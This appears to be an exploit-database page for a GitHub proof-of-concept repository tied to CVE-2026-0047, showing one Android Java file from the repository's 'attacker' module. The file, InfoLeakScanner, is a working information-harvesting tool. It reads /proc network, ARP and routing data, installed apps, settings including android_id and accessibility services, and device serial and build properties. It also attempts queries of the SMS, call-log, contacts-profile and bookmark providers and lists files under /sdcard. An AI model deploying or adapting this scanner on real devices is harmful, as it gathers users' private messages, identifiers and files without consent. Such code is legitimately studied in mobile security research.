Exploit database

GH-236d9a6c3a40e9f443b9a3308a0b155e

mobilehackinglab/cve-2026-0047-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-0047

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

attacker/src/main/java/com/poc/cve20260047/attacker/InfoLeakScanner.java

Java · 11,895 bytes
package com.poc.cve20260047.attacker;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.provider.Settings;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;

public class InfoLeakScanner {

    public interface ProgressCallback {
        void onProgress(String phase, String detail);
    }

    public static Map<String, List<String>> scan(Context ctx, ProgressCallback cb) {
        Map<String, List<String>> findings = new LinkedHashMap<>();

        cb.onProgress("Proc filesystem", "Reading /proc...");
        scanProcFs(findings);

        cb.onProgress("Installed packages", "Querying PackageManager...");
        scanPackages(ctx, findings);

        cb.onProgress("Settings provider", "Reading system settings...");
        scanSettings(ctx, findings);

        cb.onProgress("Content providers", "Querying system providers...");
        scanContentProviders(ctx, findings);

        cb.onProgress("System properties", "Reading build props...");
        scanSystemProps(findings);

        cb.onProgress("Filesystem", "Scanning accessible paths...");
        scanFilesystem(findings);

        return findings;
    }

    private static void scanProcFs(Map<String, List<String>> findings) {
        // /proc/net — active network connections
        readProcFile(findings, "Network Connections (TCP)",
                "/proc/net/tcp", 30);
        readProcFile(findings, "Network Connections (TCP6)",
                "/proc/net/tcp6", 20);
        readProcFile(findings, "Network Connections (UDP)",
                "/proc/net/udp", 20);

        // /proc/net/arp — devices on local network
        readProcFile(findings, "ARP Table (LAN devices)",
                "/proc/net/arp", 20);

        // /proc/meminfo — memory state
        readProcFile(findings, "Memory Info",
                "/proc/meminfo", 10);

        // /proc/version — kernel info
        readProcFile(findings, "Kernel Version",
                "/proc/version", 2);

        // /proc/cpuinfo
        readProcFile(findings, "CPU Info",
                "/proc/cpuinfo", 15);

        // /proc/net/route — routing table
        readProcFile(findings, "Routing Table",
                "/proc/net/route", 10);

        // /proc/net/if_inet6 — IPv6 interfaces
        readProcFile(findings, "IPv6 Interfaces",
                "/proc/net/if_inet6", 10);

        // /proc/stat — CPU usage
        readProcFile(findings, "CPU Stats",
                "/proc/stat", 5);

        // /proc/net/wireless — WiFi signal info
        readProcFile(findings, "WiFi Signal",
                "/proc/net/wireless", 5);
    }

    private static void readProcFile(Map<String, List<String>> findings,
                                     String category, String path, int maxLines) {
        try {
            BufferedReader br = new BufferedReader(new FileReader(path));
            List<String> lines = new ArrayList<>();
            String line;
            int count = 0;
            while ((line = br.readLine()) != null && count < maxLines) {
                line = line.trim();
                if (!line.isEmpty()) {
                    lines.add(line);
                    count++;
                }
            }
            br.close();
            if (!lines.isEmpty()) {
                findings.put(category + " [" + path + "]", lines);
            }
        } catch (Exception ignored) {}
    }

    private static void scanPackages(Context ctx, Map<String, List<String>> findings) {
        try {
            PackageManager pm = ctx.getPackageManager();
            List<PackageInfo> packages = pm.getInstalledPackages(0);
            List<String> userApps = new ArrayList<>();
            List<String> systemApps = new ArrayList<>();

            for (PackageInfo pi : packages) {
                String entry = pi.packageName + " v" + pi.versionName;
                if ((pi.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0) {
                    systemApps.add(entry);
                } else {
                    userApps.add(entry);
                }
            }

            if (!userApps.isEmpty()) findings.put("Installed User Apps", userApps);
            if (!systemApps.isEmpty()) {
                // Limit to first 30
                if (systemApps.size() > 30) {
                    List<String> trimmed = new ArrayList<>(systemApps.subList(0, 30));
                    trimmed.add("... and " + (systemApps.size() - 30) + " more");
                    findings.put("System Apps", trimmed);
                } else {
                    findings.put("System Apps", systemApps);
                }
            }
        } catch (Exception ignored) {}
    }

    private static void scanSettings(Context ctx, Map<String, List<String>> findings) {
        String[] globalKeys = {
                "device_name", "wifi_on", "bluetooth_on", "mobile_data",
                "airplane_mode_on", "adb_enabled", "development_settings_enabled",
                "stay_on_while_plugged_in", "usb_mass_storage_enabled",
                "wifi_networks_available_notification_on", "install_non_market_apps",
                "package_verifier_enable", "data_roaming", "auto_time",
                "auto_time_zone", "wifi_sleep_policy"
        };

        String[] secureKeys = {
                "android_id", "bluetooth_name", "default_input_method",
                "enabled_accessibility_services", "enabled_input_methods",
                "lock_screen_lock_after_timeout", "lock_screen_allow_private_notifications",
                "location_mode", "location_providers_allowed",
                "mock_location", "screensaver_enabled",
                "long_press_timeout", "accessibility_display_magnification_enabled"
        };

        List<String> globalFindings = new ArrayList<>();
        for (String key : globalKeys) {
            try {
                String val = Settings.Global.getString(ctx.getContentResolver(), key);
                if (val != null && !val.isEmpty()) {
                    globalFindings.add(key + " = " + val);
                }
            } catch (Exception ignored) {}
        }
        if (!globalFindings.isEmpty()) {
            findings.put("Global Settings (no permission needed)", globalFindings);
        }

        List<String> secureFindings = new ArrayList<>();
        for (String key : secureKeys) {
            try {
                String val = Settings.Secure.getString(ctx.getContentResolver(), key);
                if (val != null && !val.isEmpty()) {
                    secureFindings.add(key + " = " + val);
                }
            } catch (Exception ignored) {}
        }
        if (!secureFindings.isEmpty()) {
            findings.put("Secure Settings (no permission needed)", secureFindings);
        }
    }

    private static void scanContentProviders(Context ctx, Map<String, List<String>> findings) {
        // Try querying accessible content providers
        String[][] uris = {
                {"content://settings/system", "System Settings Provider"},
                {"content://settings/global", "Global Settings Provider"},
                {"content://com.android.contacts/profile", "User Profile"},
                {"content://call_log/calls", "Call Log"},
                {"content://sms", "SMS Messages"},
                {"content://browser/bookmarks", "Browser Bookmarks"},
                {"content://user_dictionary/words", "User Dictionary"},
        };

        for (String[] entry : uris) {
            try {
                Uri uri = Uri.parse(entry[0]);
                Cursor c = ctx.getContentResolver().query(uri, null, null, null, null);
                if (c != null) {
                    List<String> rows = new ArrayList<>();
                    rows.add("Columns: " + String.join(", ", c.getColumnNames()));
                    rows.add("Rows: " + c.getCount());
                    int shown = 0;
                    while (c.moveToNext() && shown < 10) {
                        StringBuilder row = new StringBuilder();
                        for (int i = 0; i < Math.min(c.getColumnCount(), 5); i++) {
                            if (i > 0) row.append(" | ");
                            try {
                                String val = c.getString(i);
                                if (val != null && val.length() > 60)
                                    val = val.substring(0, 60) + "...";
                                row.append(c.getColumnName(i)).append("=").append(val);
                            } catch (Exception ignored) {}
                        }
                        rows.add(row.toString());
                        shown++;
                    }
                    c.close();
                    if (!rows.isEmpty()) {
                        findings.put(entry[1] + " [" + entry[0] + "]", rows);
                    }
                }
            } catch (SecurityException e) {
                // Permission denied — this is correct behavior
            } catch (Exception ignored) {}
        }
    }

    private static void scanSystemProps(Map<String, List<String>> findings) {
        List<String> props = new ArrayList<>();
        props.add("ro.build.display.id = " + Build.DISPLAY);
        props.add("ro.build.fingerprint = " + Build.FINGERPRINT);
        props.add("ro.product.model = " + Build.MODEL);
        props.add("ro.product.brand = " + Build.BRAND);
        props.add("ro.product.device = " + Build.DEVICE);
        props.add("ro.hardware = " + Build.HARDWARE);
        props.add("ro.build.type = " + Build.TYPE);
        props.add("ro.build.tags = " + Build.TAGS);
        props.add("ro.board.platform = " + Build.BOARD);
        if (Build.VERSION.SDK_INT >= 31) {
            props.add("ro.soc.manufacturer = " + Build.SOC_MANUFACTURER);
            props.add("ro.soc.model = " + Build.SOC_MODEL);
        }
        props.add("serial = " + getSerial());
        findings.put("System Properties (Build.*)", props);
    }

    private static String getSerial() {
        try {
            return Build.SERIAL;
        } catch (SecurityException e) {
            return "(protected)";
        }
    }

    private static void scanFilesystem(Map<String, List<String>> findings) {
        String[] paths = {
                "/data/local/tmp",
                "/sdcard",
                "/sdcard/Download",
                "/sdcard/DCIM",
                "/sdcard/Pictures",
                "/sdcard/Documents",
        };

        for (String path : paths) {
            try {
                File dir = new File(path);
                if (dir.exists() && dir.canRead()) {
                    File[] files = dir.listFiles();
                    if (files != null && files.length > 0) {
                        List<String> entries = new ArrayList<>();
                        for (int i = 0; i < Math.min(files.length, 15); i++) {
                            String type = files[i].isDirectory() ? "[DIR] " : "";
                            long size = files[i].isFile() ? files[i].length() : 0;
                            entries.add(type + files[i].getName()
                                    + (size > 0 ? " (" + size + " bytes)" : ""));
                        }
                        if (files.length > 15) {
                            entries.add("... and " + (files.length - 15) + " more files");
                        }
                        findings.put("Filesystem: " + path, entries);
                    }
                }
            } catch (Exception ignored) {}
        }
    }
}